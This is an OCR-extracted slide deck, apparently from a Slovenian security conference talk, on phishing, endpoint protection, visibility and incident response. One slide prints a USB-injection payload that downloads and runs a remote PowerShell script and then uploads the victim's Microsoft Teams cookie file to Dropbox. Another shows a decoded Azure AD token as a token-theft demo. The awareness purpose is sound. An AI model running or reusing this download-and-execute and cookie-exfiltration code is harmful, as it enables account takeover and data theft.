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AGENDA

SITUACIJA

Kje smo, kaj imamo okrog nas?

UPORABNIKI

So res najSibkejsi clen?
Kaj lahko naredimo?

ENDPOINT
Ali je EDR, XDR res nuja?

VIDLJIVOST IN ODZIV

I Kaj vidimo, ko se nas (ne)eticni hekeriji lotijo? Imamo
H A . . . »?
KENC pripravljen odziv: #ntk22







Malo dlje nazaj

Pojasnilo o kibernetskem napadu

5 | Pesodobljeno pred 8 meseci
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Bl PREDVIDEN CAS BRANJA: 1 min
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V medijski hisi Pro Plus obnavljamo poslovanje, ki je bilo moteno zaradi nedavnega
kibernetskega napada. Celotnega obsega napada Se ne moremo oceniti, trenutno
smo vse svoje sile usmerili v to, da bodo nasi glavni sistemi v najkrajSem casu

postavljeni v prvotno delovanje, kar bo omogocilo nemoteno delovanje televizijskih
programov in spletnih strani.
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Phishing v polnem zamahu!
%/ SI-CERT coe

1.cepr @sicert

Danes poleg 9O #phishing napadov belezimo tudi 3
Hmalware kampanje (WarZone RAT) pod pretvezo
posiljanja ponudb v imenu razlicnih organizacij, tudi
@policija_si. "From" naslov je kot v vecini podobnih
primerov ponarejen.
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Nedavno nazaj

Preberite Se:
Po kibernetskem napadu klice na 112 beleZijo na roke

Vrata brez klju¢avnic, okna brez resetk

Prav tako inSpektorji miso nasli dnevniskih zapisov o delovanju informacijskih
sistemov uprave in posameznih delov omrezja za Sest mesecev nazaj. Ugotovili
so tudi vec sistemskih poman|kljivosti. Uprava tako ni imela:

ustreznega mehanizma nadzora nad pogodbami o vzdrZzevanju
informacijskih sistemoy,

izdelane analize obviadovanja tvegan;j z oceno sprejemljive ravni tvegan,

dolo¢enih ukrepov, postopkov in odgovornosti za obnovitev in ponovno
vzpostavitev kljuénih sistemov v primeru huj$ega incidenta kr$enja informacijske
vamosti ali kibernetskega napada,

https://necenzurirano.si/clanek/aktualno/napad-na-civilno-zascito-hekerji-so-imeli-prosto-pot-996447

Uprava za zascito in reSevanje je kljucni organ v sistemu varstva pred naravnimi in drugimi
nesrecami. | Foto: URSZR

Do okuzbe z izsiljevalskim virusom je tako prislo s pomocjo trojanskega konja,
namescenegalprek racunalnika enega od zaposlenih, ki je delal na daljavo.
InSpektorji urada so ugotovili, da so vsi uporabniski racuni, ki so bili zlorabljeni,
uporabljali enako enostavno geslo. Pri tem na upravi za civilno zascito in
reSevanje niso imeli vkljuéene ustrezne varnostne programske opreme za
oddaljeni dostop do sluzbenega omrezja.
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Zanimiv odziv!

Fortunately, Uber reported this breach and acted on it quickly.

Last week, an 18-year old hacker used social engineering techniques to compromise
Uber's network. He compromised an employee’s Slack login and then used it to send a
message to Uber employees announcing that it had suffered a data breach. Uber

confirmed the attack on Twitter within hours, issuing_ more details on this page. The

company claims no user data was at risk, they have notified law enforcement, and all of
their services have been restored to operational status. (There were some brief
interruptions of various software tools but they are back online too). Uber now thinks

the hacker is part of a hacking group called LapsusS.

What's interesting about this incident was the speed at which various publications and
security analysts provided coverage, how quickly Uber notified the world, and how
much detail we already have about what happened. Contrast this with another Uber
hack back in 2016, when the personal information of about 57 million customers and

drivers was stolen. That breach wasn't made public for more than a year and resulted in
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- Tehnologija nam omogoca marsikaj
- Jo res vedno izkoristimo?
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Primerna priporocila?

Informacijski pooblascenec (v nadaljevanju IP) uvodoma pojasnjuje, da sodijo t.i. tehnike ribarjenja podatkov (angl.
phishing; ve¢ o tem na nasi spletni strani: hitps://www.ip-rs.si/varstvo-osebnih-podatkov/informacijske-
tehnologije-in-osebni-podatki/varstvo-osebnih-podatkov-na-internetu/#c412) med precej nevarne in u€inkovite
nacine socialnega inZeniringa za izvabljanje podatkov, kot so uporabnisSka imena in gesla, ter poslediéno
nepooblastene vstope v informacijske sisteme, zato so prizadevanja, ki jih izvajajo organizacije za ozavescanje svojih
zaposlenih o nevarnostih ribarjenja podatkov naceloma legitimne. Seveda pa se pri tem porajajo vprasanja glede
smiselnosti, uCinkovitosti in transparentnosti ter - kot tudi sami opozarjate — eti¢nih in moralnih vidikov preverjanja
zaposlenih glede prepoznavanja t.i. phishing sporocil, sporna je lahko tudi sama zakonitost izvedbe preverjanja, kar pa
je zelo odvisno od konkretnih okolis¢in primera, samo zakonitost (obdelave osebnih podatkov) pri takénih preverjanjin
pa se lahko preveri le v okviru inSpekcijskega postopka.

IP meni, da preverjanje (pre)poznavanja phishing sporo€il s strani zaposlenih naceloma ni najbolj primerno, saj lahko
vodi v nezaZelene odzive in slabo poCutje zaposlenih, zlasti ¢e so npr. izpostavljeni kot tisti, ki niso prepoznali laznega
sporocila, zato priporo¢amo, da se organizacije vzdrzijo tovrstnih preverjanj in raje izhajajo iz predpostavke, da je tudi
nasa organizacija lahko dojemljiva za napade z ribarjenjem podatkov in da je pri tovrstnih napadih veliko bolj kot
merjenje stopnje ranljivosti pomembno ustrezno ozavescanje. Dejstvo je, da so tovrstni napadi na varnost organizacije
relativno ucinkoviti in izmeriti stopnjo ucinkovitosti teh napadov v nasi organizaciji najbrz ni primarni in kljucni namen
organizacije, temvec¢ bi morala biti ¢im vedja odpornost organizacije na take napade, ki je v primeru phishing napadov
praktiéno samo ustrezna ozavescenost zaposlenih.

https://www.ip-rs.si/mnenja-gdpr/preverjanje-prepoznavanja-ribarjenja-podatkov-phishing-sporo%C4%8Dil-1636444947 #ntk22



Situacija se poooocasi izboljsuje!

A

Deceptive site ahead

Attackers on www.96.si may trick you into doing something dangerous like installing
software or revealing your personal information (for example, passwords, phone numbers,
or credit cards). Learn more

‘ Details ‘ Back to safety

0228 #ntk22



|lzobrazevat in
trenirat ljudi

- Pravilni pristop
- Brez mobinga
- Imeti primerne razlage in

ustrezne scenarije
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Attack simulation training

- Uporabljati tisto, kar imamo na voljo
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Disclaimer: Nisem na MS placilni listi

English

Steve, you were just phished by your security team.

It's okay! You're human. Let's learn from this.

Rather than stealing your login credentials like a cyber crimingl, we have redirecied you 10 this educational page inslead and assigned
yOu Some raining courses

PHISHING MESSAGE

Simulate a phishing attack with Attack

simulation training in Defender for Office 365
% &3

Article = 09/27/2022 » 22 minutes to read = 13 contributors

2 Tip

Did you know you can try the features in Microsoft 365 Defender for Office 365 Plan 2 for free? Use the 90-day
Defender for Office 365 trial at the Microsoft 365 Defender portal trials hub . Learn about who can sign up and

trial terms here.

#ntk22






Endpoint

- HW + SW + uporabnik

- Danes je potrebno gledati na vec podrocij
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Threats are no match
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PROTECTION AND RESPONSE

Centralized, Configuration, Administration, APls

Clients, servers, mobile, network devices
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Bilo je

Stealing tokens, emails, files and more in
Microsoft Teams through malicious tabs

Trading up a small bug for a big impact

Intro

I recently came across an interesting bug in the Microsoft Power Apps service
which, despite its simplicity, can be leveraged by an attacker to gain persistent
read/write access to a victim user’s email, Teams chats, OneDrive, Sharepoint
and a variety of other services by way of a malicious Microsoft Teams tab and
Power Automate flows. The bug has since been fixed by Microsoft, but in this

blog we're going to see how it could have been exploited.

In the following sections, we'll take a look at how we, as
baduser(at)fakecorp.ca, a member of the fakecorp.ca organization, can create
a malicious Teams tab and use it to eventually steal emails, Teams messages,
and files from gooduser(at)fakecorp.ca, and send emails and messages on
their behalf. While the attack we will look at has a lot of moving parts, it is
fairly serious, as the compromise of business email is said to have cost victims
$1.8 billion in 2020.

#ntk22



Microsoft Teams stores auth tokens as cleartext in Windows,

Trenutno je Linux, Macs

By Bill Toulas September 14, 2022 40 Al 37

Security analysts have found a severe security vulnerability in the desktop app for Microsoft Teams that
gives threat actors access to authentication tokens and accounts with multi-factor authentication (MFA)
turned on.

EﬂN FE

RENCA
25‘2 https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens #ntk22



Token

IWT (id token, ...)

T e

S IEEYINT AT

tokenl i token2 : token3
{ { Digital Signature
"typ™iINT", "aud™ 1 "https://test.onmicrosoft. com/,
":’l'r':"ls:ss". “given name™:"lchire”™, (byte code)

"xS5t¥:1"MnC_VIcA...", "fanily naoe":“Demo",
'klrzm_sz‘. . 0. "Wif:“.“l“-““'mz'm. . 0-

)...
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"aud": "https://webshell.suite.office.com”,
"iss": "https://sts.windows.net/733e75c7-31ce-4c36-99+d-Bct50etadldsd/",

Enter token below (it never leaves your browser):

leyJ0eXAi0i IKVIQiLCIhbGCi0iISUz T1N4] “lat®: 1664342901,

yIhdWQi01 JodHRwczovl 3d1YnNoZkxsLnN1 “nbf": 1664342901,

1MGVmYTQwODgY T iwi aWF@T5oxN;YOMz0yaT “exp”: 1664347172,

21QWKVSRK1FY@gzZGIxMFhsNTZ2RUpLc2hF “acr®: "17,

ImFtciT6WyTud20iLCIyc2EiLCTtZmELXS "aio": "AVQAq/8TAAAAgt9HgNdOIPZERFIECH3dog@X156vEIKshQ2riBMUUVFGHBF3ZB1qywjuYGz /MmOXTmYEZWxdj rEPDWNGImF ctDo8px/hx/Fhk]jkmgqlSyw=",

C3N5 EyNTVKLWEAY ktNDk4YyB5MikyL T1n “amr®: [

yNyIsImxvZ21uX2hpbnQi0ilPLkNpUTFZVE Tpwd”,

1daa@xUQmpaalV3WldaaESEQTRPQMILYHOS ‘rsa”,

2Nz JhYWUBTiwicHI1ZmVycmVkX3VzZZXIuYh “mfa”

W1Eb3pDVihzaE5wSGIWZF gy aWYadktXVUFC 1,

tUFhoNHhZTiwidG1kIjoiNzMzZTclYzctMz “appid”: "89beelf7-5ebe-4d8a-9f3d-ecdb@1259da7",

nV@aSTEI1RRNUIMNFBhdkVHTFZYMmF IMnNE “appidacr™: "@",

175k tNDYA0S@4MTQzL T2 Y5 ESNGUANTUWOS "deviceid": "7761255d-a8b9-498c-9292-9fblac962a3@",

CbShZ-QkY1IzMtylC52HARFvNy U2VrkMKz "family_name": "Wick",

3z0vdwjvljGns2TLstjnuoVSPHzz__ SbecF “given_name": "John",

Q" "ipaddr": "212.30.73.227",
"login_hint":

This token was issued by Azure Active Directory. "0.C1Q1YThkZjZmYS@1NjO2LTRmZTELY Tk2Mi0@YzRkODY3MmFhZTQSIDCczM2USNWM3 L TMxY 2UEtNGMzNi@50WZkLTB jZ jUwZWZhNDA4OBoKam9obk ASNiS5zaSCUAQ==",
“name”: "John Wick",

“oid": "5aBdf6fa-5646-4fel-a962-4cddB672aaed”,
Decoded Token Claims "preferred_username”: "john@96.si",

"puid": "1683280232ACEF17",

{ “rh": "@.AXkAx3U-c84xNkyZ_Qz1DvpAiDozCV8shNpHoVdX2if8vKWUANQ. ",
"typ”: "IWT", "scp": "ShellSettings.Read",
"alg": "RS256", "sub”: "CUIK15BayT25XGRky4xNuGrXx8wlYYBelRFVmPXhaxY",
"x5t": "2ZQpl3UpbjAYXYGaXEI181VaT "tid": "733e75¢7-31ce-4c36-99fd-Bcf50efaln8s”,
"kid": "2ZQpJ3UpbjAYXYGaXEJ181Vel "unique_name": “john@96.si",
5 "upn": "john@96.si",
"aud”: "https://webshell.suite.ot “uti": "TQ5IL4PavEGNGX2aH2ZsDAA™,
"iss™: "https://sts.windows.net/J “ver”: "1.8",
"iat": 16643429@1, “wids™: [
“nbf7: 1664342901, "62e90394-69F5-4237-9190-812177145e18",
Texpt: 1604347172, "b79fbfdd-3ef9-4689-8143-76b194285509"
"acr™: "1", 1,
"aio": "AVQAq/STAAAAgtOHgNidO9PZE yme tdbrts “EU”
TamrT: [

}.[Signature]
owd™ .
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Very powerful script

- And all Teams tokens gone

REM Download and execute script
DELAY 1eee

GUI r

DELAY 5@@

STRING powershell -NoP -NonI -Exec Bypass $pl = iwr https://www.site.com/scriptl.psl; invoke-expression $pl
DELAY 580

ENTER

B R R R R
fDropBoxAccessToken = "XxX.ZZZ"

$FileName = "Senv:USERMAME-3{get-date -t yyyy-MM-dd_hh-mm)_cookies.txt"

copy "C:“Users®, fenv:USERNAME‘appdata‘Roaming'MicrosofthTeams'cookies"” "C:“Users’ $env:USERNAME" appdata’\Roaming\Microsoft'\Teams" cookies.bak"
§TargetFilepPath="/%FileName"

$sourceFilePath="C:“Users" fenv:USERNAME \ appdata‘Roaming‘\MicrosoftTeams" cookies.bak"

farg = '{ "path": "' + fTargetFilePath + '", "mode": "add", "autorename": true, "mute": false }°

fauthorization = "Bearer " + $DropBoxAccessToken

fheaders = New-Object "System.Collections.Generic.Dictionary[[String], [String]]”

fheaders.add("Authorization", fauthorization)

fheaders.Add("Dropbox-API-Arg", %arg)

fheaders.add("Content-Type", 'application/octet-stream')

Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files /upload -Method Post -InFile %SourceFilePath -Headers $headers

#ntk22




ENDPOINT

Ustrezen in primeren SW
Centralni nadzor
Spremljanje







VIDLJIVOST

« Kje imamo (bi morali imeti vidljivost)?
Omrezje (FW)

Zunanje
Notranje

Domena
Aplikacije
Logi

SIEM
SOC

NT:
KONFE
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Pripravljenost ha odziv?
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Preverjanja okolja in tudi endpointa

. . v . v-
- Vdorni testi so se vedno primeren nacin
Dobri cilji
v o1 v . Medium Mandatory Level (Default) [No-Write-Up]
Posebne zelje narocnika & v
SERVICE_ALL_ACCESS
RiW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
. . RW BUILTIN\Administrators
Primer od servica do LA SERVICE_ALL_ACCESS
R NT AUTHORITY\INTERACTIVE
SERVICE_QUERY_STATUS
SERVICE_QUERY CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE USER DEFINED CONTROL
READ CONTROL
R NT AUTHORITY\SERVICE
SERVICE QUERY STATU
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
N SERVICE_FNUMERATE_DEPENDENTS
KONEA SERVICE_USER_DEFINED_CONTROL

22 #
202 READ_CONTROL ntk22



Se en primer — RDP zaklepa DA

but when | apply a policy for
FW 1 my RDP session breaks.

| work here

TS RDP Server

FW 2,77.46

s

If | apply policy for FW 2
or FW 3 - everything is ok

the strangest thing is that my

MNGT, 80.40 colleagues' sessions

continue to work
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Vidljivost in odziv

- Atomic Red Team
- Playbooks




Atomic Red Team skripte

. . Privilege . Credential . Lateral
Execution Persistence Escalation Defense Evasion Access Discovery Movement
12 technigues 19 technigues 13 technigues 38 technigues 15 techniques 27 technigues 9 technigues

Command and
Scripting
Interpreter

Account Abuse Elevation Abuse Elevation Brute Force Account Discovery Exploitation of

Manipulation Control Contral Remote
Mechanism Mechanism Credentials Application Window Services

BITS Jobs from Password |l | Discovery

Container Access Token Access Token Stores Internal

Administration Boot or Logon Manipulation Manipulation Browser Bookmark Spearphishing
Command Autostart Exploitation for  [Reei=yY

Execution Boot or Logon BITS Jobs Credentizl Lateral Tool
Deploy Container Autostart Access Cloud Infrastructure Transfer

Boot or Logon Execution Build Image on Host Discovery
Exploitation for Initialization Farced Remote Service
Client Execution Scnpts Boot or Logon Decbfuscate/Decode Authentication Cloud Service Session
Initialization Files or Information Dashboard Hijacking
Inter-Process Browser Scripts Forge Web
Communication Extensions Deploy Container Credentizls Cloud Service Remote
Create or Modify . Discowvery Services
Native API Compromise System Direct Volume Access
Client Software Process Container and Replication
Scheduled Domain Policy Resource Discavery Through
Task/lob Domain Policy Modification 02 Man-in-the- Remaovable
Create Modification -, o Middle, Domain Trust Discovery JEEEIE]
Shared Modules Account m— Execution ’
Escape to Host Guardrails . Maodify File and Directory Software
Software Create or Modify o Authentication Discovery Deployment
Deployment Tools System Event Triggered Exploitation for Process Toals
Execution Defense Evasion Network Service
System Services letwork Scanning Taint Shared
Event Triggered Exploitation for File and Directory sniffing Content

User Execution Execution Privilege Permissions Network Share
Escalation Maodification 05 Credential Discovery
External Remote Dumping

Services Hijack Execution I Hide Artifacts Network Sniffing

Use Alternate

Authentication |l
Material

Windows
Management
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Learnm /S Security /S Microsoft Security Best Practices / Security operations f Incident response

Incident response playbooks

Article = D8/26/2022 = 2 minutes to read = 5 contrnibutors

=y o2

You need to respond quickly to detected security attacks to contain and remediate its damage. As new widespread

cyberattacks happen, such as Nobellium e and the Exchange Server vulnerability &, Microsoft will respond with detailed

incident response guidance.

You also need detailed guidance for common attack methods that malicious users employ every day. To address this

need, use incident response playbooks for these types of attacks:
e Phishing
e Password spray
s App consent grant
e« Compromised and malicious applications

Each playbook includes:

* Prerequisites: The specific requirements you need to complete before starting the investigation. For example,
logging that should be turned on and roles and permissions that are required.
Workflow: The logical flow that you should follow to perform the investigation.
Checklist: A list of tasks for the steps in the flow chart. This checklist can be helpful in highly-regulated environments

to werify what you hawve done.
= Investigation steps: Detailed step-by-step guidance for the specific investigation.

https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks #ntl22
n




Za konec

. Uporabniki J?lp, 6’1&

- Redno preverjanja
-V kolikor ne boste vi, bodo hekerji

- Endpoint
- Napredne resitve so must
- Vem, da stanejo, ampak izracunajte si koliko stane uspesen vdor

- Vidljivost in odziv
- Red teaming
- Dajte se pogovorit s pentesterji za cilje
-V sklopu testa testirajte vase odzive
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This is not school, but we
love to get grades.
Please fill out our
questoineers and leave
us your feedback.

You may even win some
cool rewards.



